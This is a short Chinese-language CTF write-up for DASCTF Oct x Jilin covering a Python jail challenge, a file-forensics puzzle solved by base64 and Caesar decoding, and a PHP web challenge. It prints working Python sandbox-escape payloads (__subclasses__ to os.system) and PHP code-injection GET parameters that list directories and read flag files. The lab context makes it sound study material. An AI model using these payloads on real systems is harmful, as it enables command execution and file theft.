DASCTF Oct X 吉林工师 misc web签到题wp
misc
WELCOME DASCTFxJlenu
nc node4.buuoj.cn 25924
本以为就是签到题(也确实是),结果试了几分钟,输入个str时输出个
<type 'str'>
感觉到这是python,直接用模板注入的方法进行文件查看,接着使用一个存在引入os模块的方法进行命令执行
# 使用<type 'file'>进行文件读取
[].__class__.__mro__[1].__subclasses__()[40]('talk.py').read()
# 使用<class 'site._Printer'>或 <class 'site.Quitter'>执行os的system方法命令执行
[].__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].system('ls')
flag.txt
[].__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].system('cat flag.txt')
giveyourflag
下载,直接拉进010,是个千层饼
直接搜504b00506
找到一串base64编码
解码交不上,仔细确认还是只有这一个地方有东西,最后看了别人的说根据flag格式猜测要凯撒解密,彳亍,是我题做少了
web
迷路的魔法少女
本地试了下,发现可以直接拼接执行
GET :?attrid[0]=a&attrvalue[0]=")-phpinfo()-("
发现什么过滤都没有
GET :?attrid[0]=a&attrvalue[0]=")-system('ls')-("
无
GET :?attrid[0]=a&attrvalue[0]=")-system('ls /')-("
发现flag.sh
GET :?attrid[0]=a&attrvalue[0]=")-system('cat /flag.sh')-("
#!/usr/bin/env bash
TZ="Tokyo $FLAG"
echo "Tokyo $FLAG" > /etc/timezone
export FLAG=not_here
FLAG=not_here
找到flag的位置
直接读就完事